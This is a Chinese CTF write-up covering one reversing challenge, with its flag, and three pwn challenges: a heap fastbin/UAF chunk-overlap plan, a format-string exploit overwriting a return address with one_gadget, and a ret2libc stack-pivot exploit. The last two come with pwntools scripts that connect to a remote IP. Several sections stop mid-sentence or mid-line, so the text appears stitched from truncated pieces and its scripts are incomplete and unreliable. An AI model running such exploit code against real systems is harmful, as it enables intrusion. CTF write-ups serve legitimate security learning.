1.全靠IDA远程动态调试肝，懵懵懂懂的做完了这道题。

        signal函数

1. typedef void (*sighandler_t)(int);
2. sighandler_t signal(int signum, sighandler_t handler);

第一个参数signum：指明了所要处理的信号类型　 
第二个参数handler：描述了与信号关联的动作

这个程序会触发两种信号，一个是SIGTRAP，一个是SIGALRM。SIGTRAP是INT3引起的，SIGALRM是程序超时引起的。

int3如果传递给程序，程序的signal函数接受SIGTRAP信号，会运行handler函数，函数会设置data段的数据，不会陷入死循环。

也就是说，程序期望接收到自己代码段中的INT 3引起的SIGTRAP。并且SIGALRM不应该传递给程序，否则会直接退出。

设置IDA的debugger options，把SIGTRAP的处理方式设置成pass to application，并且遇到SIGALRM的时候，选择discard

 

2.0x408AD6为输入函数地址。

0x408DC2 附近调用了strchr，后面的大概在判断程序有没有输入。

0x409149附近调用了strlen，在0x409174与0x1c进行了比较，所以输入的长度为0x1c(28)

3.程序中有一大堆这种毫无意义的混淆代码。

4.从0x402D05 开始，有一系列的cmp和jz

[rbp-8]为程序输入的地址，例如图片的意思就是：s[1]*0x44b38+s[0]*0xFFFFE483==0x1C4C7D2

总共有28个这样的方程

解出来就好了(手动把这些方程抄下来...太累了...)

flag: flag{g0_Fuck_xx_5egm3nt_0bf}

64位程序，典型的菜单题。保护就开了NX，而且是运行在libc2.23的环境。

程序逻辑：

1、首先是输入name和motto，输入的内容先输入到栈中，再输入到堆中。这里在strcpy的时候没进行边界检查，因此当输入name的长度为0x18的时候，会连着后面的age的值一块复制到堆中，这里就能够覆盖下一个chunk头部的size。

2、addnote函数，该函数负责申请堆块，然后将堆的地址和申请的大小放在bss段中，位置恰好在存name和motto堆块地址的后面。最大能申请0x100的内存空间，因此大概猜测要用到fastbin attack。

3、shownote函数，打印通过addnote申请的堆的内容。没利用到这个函数。

4、deletenote函数，能够释放掉所申请的堆块。这里v1没有检查下边界，因此存在负数溢出。同时释放掉堆块后并没有将指针清0，存在UAF的漏洞。

5、editnote函数，向所申请的堆块中填入内容，中规中矩，这里没有漏洞点。

6、reset函数，再进行一次填入name、motto和age的操作，意味着能够改变堆块头的size字段，这里就能布置chunk overlap

7、check函数，打印name和motto合age的值。这里可以用来进行地址泄露。

思路:

因此漏洞利用的思路就很明确了。

1、分配4个堆块，chunk0申请0x80的大小，chunk1申请0x68的大小，这两个chunk用来布置chunk overlap。chunk3申请0x68的大小，chunk4申请0x68的大小，这两个chunk用来使delete函数能够free掉name和motto的chunk。

2、 通过deletenote的负数溢出将name和motto的chunk给释放掉，这是由于motto的chunk的大小为0x110，因此就会被放到unsortedbin中，然后用check函数就能够打印出main_arean的地址。

3、将chunk1给释放了，因此它会加入fastbin。通过reset函数将chunk0的头改为0x100，再申请一个0x100的chunk，这是就会把这个大小为0x100的连续内存地址（覆盖了chunk1）取出。

4、通过editnote函数将chunk1中的fd字段给改成malloc_hook上方的地址，再分配2个0x70的chunk，这

64位程序，保护全开

程序逻辑：

1、循环，每次要输入Hey Siri!才能进入功能函数。

2、其中漏洞函数是这个sub_1212函数，这里存在格式化字符串漏洞。

思路：

a、首先用该漏洞泄露出栈和libc的地址。

前一个是libc上的地址，为__libc_start_main+231的地址。（这里我一直用libc2.23的环境来调，但是libc2.23和libc2.27的环境有些不一样，在libc2.23的环境中，这里是__libc_start_main+240，所以调了好久。）

后一个为上一个栈帧的rbp的值。

b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中，所以会发生”\x00”阶段，因此得多次向返回地址写地址，这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑，需要执行多几次。

c、然后需要跳出循环，才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址，

可以看出返回地址是0x4c结尾的。写完后就成功getshelll了

我们需要执行到的地址是以0xc1结尾的，因此只需要改掉最后一个字节即可。

 完整代码:

from pwn import *

context.clear(arch = 'amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./Siri")
p = remote("123.56.170.202", 12124)
elf = ELF("./Siri")

#gdb.attach(p)

def Siri():
	p.sendlineafter(">>> ", "Hey Siri!")

exp = "Remind me to bbbbb"
Siri()
p.sendlineafter(">>> ", exp + "%83$p" + "%46$p")
p.recvuntil("bbbbb")

libc = int(p.recv(14), 16)
stack = int(p.recv(14), 16)
libc_base = libc - (0x21ab0 + 231)
rip_addr = stack + 0x8
one = l

64位程序，保护没怎么开。

程序逻辑：

1、首先是菜单界面

2、进入功能函数，首先定义一个局部变量，这个是关键。

a、leave_name函数，往bss写入4个字节

b、leave_message函数，有个溢出，溢出8字节，可以改变返回rbp的值

c、show函数，打印name和message，没用到。

3、思路：

通过leave_name函数，往bss段（0x6010d0）写入一个0x100的数。

通过leave_message函数的溢出，将旧栈帧的rbp改成（0x6010d0+4），

然后根据偏移，每次在进入leave_message函数前，v1的值都会变成0x100

然后就用ret2libc进行getshell，用puts函数打印出puts函数的真实地址，然后算出one_gadget的地址，最后再把one_gadget填入返回地址。

完整脚本：

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
#p = process("./babymessage")
p = remote("123.56.170.202", 21342)
elf = ELF("./babymessage")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(idx):
 p.sendlineafter("choice:", str(idx))
#gdb.attach(p)
choice(1)
p.sendafter("name:", p32(0x100))
choice(2)
p.sendafter("message:", "a"*8 + p64(0x6010d0+4))
exp = "a" * 8 + p64(0x6010d4) + p64(0x400ac3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40091a)
choice(2)
p.sendafter("message:", exp)
p.recvuntil("done!\n\n")
leak = u64(p.recv(6).ljust(8, "\x00"))
print hex(lea